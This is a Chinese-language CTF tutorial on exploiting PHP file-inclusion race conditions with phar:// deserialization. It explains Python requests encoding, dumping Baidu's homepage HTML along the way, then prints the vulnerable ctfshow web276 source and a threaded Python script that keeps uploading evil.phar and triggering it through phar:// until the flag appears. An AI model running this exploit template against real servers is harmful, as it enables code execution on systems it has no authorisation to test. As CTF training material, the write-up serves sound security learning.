原理
- 条件竞争是通过脚本重复发送phar文件,并且重复利用文件包含漏洞包含phar文件,在上传(文件整体上传或者文件数据写入)的文件被删除之前成功包含
- 伪协议常常用于文件包含漏洞之中。 在 php 中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,file_put_contents函数
- 例如file_put_contents函数,可以python开两个线程,一个用这个函数写phar文件,一个利用phar协议包含它就可以了
前置知识
requests对象的get和post方法都会返回一个Response对象,这个对象里面存的是服务器返回的所有信息,包括响应头,响
应状态码等。其中返回的网页部分会存在.content和.text两个对象中。
两者区别在于,content中间存的是字节码,而text中存的是Beautifulsoup根据猜测的编码方式将content内容编码成字
符串。
直接输出content,会发现前面存在b'这样的标志,这是字节字符串的标志,而text是,没有前面的b,对于纯ascii码,这两
个可以说一模一样,对于其他的文字,需要正确编码才能正常显示。大部分情况建议使用.text,因为显示的是汉字,但有时
会显示乱码,这时需要用.content.decode('utf-8'),中文常用utf-8和GBK,GB2312等。这样可以手工选择文字编码方
式。
所以简而言之,.text是现成的字符串,.content还要编码,但是.text不是所有时候显示都正常,这是就需要用.content
进行手动编码。
- 简单来说.content都是requests的返回结果,而.text是.content的编码结果,也可以手动对.content编码,比如上面提到的.content.decode('utf-8')
- 比如下面这个脚本request请求baidu.com,并输出了三种编码的返回结果
import requests
from bs4 import BeautifulSoup
response = requests.get('https://www.baidu.com')
re_text = response.text
re_content = response.content
print (re_text)
print ("分界线")
print (re_content)
print ("分界线")
re_text = response.content.decode('utf-8')
print (re_text)
<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><met
a http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=styleshe
et type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.cs
s><title>ç¾åº¦ä¸ä¸ï¼ä½ å°±ç¥é</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <
div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus
=true src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f
action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden
name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1>
<input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg
s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus>
</span><span class="bg s_btn_wr"><input type=submit id=su value=ç¾åº¦ä¸ä¸ class="bg s_btn" autofocus>
</span> </form> </div> </div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews
class=mnav>æ°é»</a> <a href=https://www.hao123.com name=tj_trhao123 class=mnav>hao123</a> <a
href=http://map.baidu.com name=tj_trmap class=mnav>å°å¾</a> <a href=http://v.baidu.com
name=tj_trvideo class=mnav>è§é¢</a> <a href=http://tieba.baidu.com name=tj_trtieba class=mnav>è
´´å§</a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>ç»å½</a>
</noscript> <script>document.write('<a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u='+
encodeURIComponent(window.location.href+ (window.location.search === "" ? "?" : "&")+
"bdorz_come=1")+ '" name="tj_login" class="lb">ç»å½</a>');
</script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display:
block;">æ´å¤äº§å</a> </div> </div> </div> <div id=ftCon> <div id=ftConw> <p id=lh> <a
href=http://home.baidu.com>å³äºç¾åº¦</a> <a href=http://ir.baidu.com>About Baidu</a>
</p> <p id=cp>©2017 Baidu <a
href=http://www.baidu.com/duty/>使ç¨ç¾åº¦åå¿è¯»</a> <a
href=http://jianyi.baidu.com/ class=cp-feedback>æè§åé¦</a> 京ICPè¯030173å· <img src=//www.baidu.com/img/gs.gif> </p> </div>
</div> </div> </body> </html>
b'<!DOCTYPE html>\r\n<!--STATUS OK--><html> <head><meta http-equiv=content-type
content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always
name=referrer><link rel=stylesheet type=text/css
href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css>
<title>\xe7\x99\xbe\xe5\xba\xa6\xe4\xb8\x80\xe4\xb8\x8b\xef\xbc\x8c\xe4\xbd\xa0\xe5\xb0\xb1\xe7\x9f\x
a5\xe9\x81\x93</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <div
class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true
src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f
action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden
name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1>
<input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg
s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus>
</span><span class="bg s_btn_wr"><input type=submit id=su
value=\xe7\x99\xbe\xe5\xba\xa6\xe4\xb8\x80\xe4\xb8\x8b class="bg s_btn" autofocus></span> </form>
</div> </div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews
class=mnav>\xe6\x96\xb0\xe9\x97\xbb</a> <a href=https://www.hao123.com name=tj_trhao123
class=mnav>hao123</a> <a href=http://map.baidu.com name=tj_trmap
class=mnav>\xe5\x9c\xb0\xe5\x9b\xbe</a> <a href=http://v.baidu.com name=tj_trvideo
class=mnav>\xe8\xa7\x86\xe9\xa2\x91</a> <a href=http://tieba.baidu.com name=tj_trtieba
class=mnav>\xe8\xb4\xb4\xe5\x90\xa7</a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login
class=lb>\xe7\x99\xbb\xe5\xbd\x95</a> </noscript> <script>document.write(\'<a
href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=\'+
encodeURIComponent(window.location.href+ (window.location.search === "" ? "?" : "&")+
"bdorz_come=1")+ \'" name="tj_login" class="lb">\xe7\x99\xbb\xe5\xbd\x95</a>\');\r\n
</script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display:
block;">\xe6\x9b\xb4\xe5\xa4\x9a\xe4\xba\xa7\xe5\x93\x81</a> </div> </div> </div> <div id=ftCon> <div
id=ftConw> <p id=lh> <a
href=http://home.baidu.com>\xe5\x85\xb3\xe4\xba\x8e\xe7\x99\xbe\xe5\xba\xa6</a> <a
href=http://ir.baidu.com>About Baidu</a> </p> <p id=cp>©2017 Baidu <a
href=http://www.baidu.com/duty/>\xe4\xbd\xbf\xe7\x94\xa8\xe7\x99\xbe\xe5\xba\xa6\xe5\x89\x8d\xe5\xbf\
x85\xe8\xaf\xbb</a> <a href=http://jianyi.baidu.com/ class=cp-
feedback>\xe6\x84\x8f\xe8\xa7\x81\xe5\x8f\x8d\xe9\xa6\x88</a> \xe4\xba\xacICP\xe8\xaf\x81030173\
xe5\x8f\xb7 <img src=//www.baidu.com/img/gs.gif> </p> </div> </div> </div> </body> </html>\r\n'
- .content.decode('utf-8')(这个是最nice的)
<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=stylesheet
type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css><title>百度一下,你就知道</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true
src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden
\name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1>
<input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg
s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off
autofocus=autofocus></span><span class="bg s_btn_wr"><input type=submit
id=su value=百度
一下 class="bg s_btn" autofocus></span> </form> </div> </div> <div id=u1> <a href=http://news.baidu.com
name=tj_trnews class=mnav>新闻</a> <a href=https://www.hao123.com name=tj_trhao123 class=mnav>hao123</a> <a
href=http://map.baidu.com name=tj_trmap class=mnav>地图</a> <a href=http://v.baidu.com name=tj_trvideo
class=mnav>视频</a> <a href=http://tieba.baidu.com
name=tj_trtieba class=mnav>贴吧</a> <noscript> <a
href=http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>登录</a>
</noscript> <script>document.write('<a href="http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u='+ encodeURIComponent(window.location.href+
(window.location.search === "" ? "?" : "&")+ "bdorz_come=1")+
'" name="tj_login" class="lb">登录</a>');
</script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display:
block;">更多产品</a> </div> </div> </div> <div id=ftCon> <div id=ftConw> <p id=lh> <a
href=http://home.baidu.com>关于百度</a> <a href=http://ir.baidu.com>About Baidu</a> </p> <p
id=cp>©2017 Baidu <a href=http://www.baidu.com/duty/>使用百度前必读</a> <a
href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈</a> 京ICP证030173号 <img
src=//www.baidu.com/img/gs.gif> </p> </div> </div> </div> </body> </html>
竞争脚本
- 题目不同脚本实现也不同,下面拿ctfshow的web276举个例子
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
where is flag?
- $admin = false;这个变量无法控制,但是有个file_put_content可以控制,可以利用它写入phar文件并且伪协议包含该文件,但是unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);会将文件删除
- 需要连续上传phar文件并且连续包含
- 下面是脚本实现的模板,要用时根据题目的接口改就行了
import base64
import requests
import threading
flag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()
pre_resp = requests.get(url)
if pre_resp.status_code != 200:
print(url + '\n链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=evil.phar", data=data)
def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()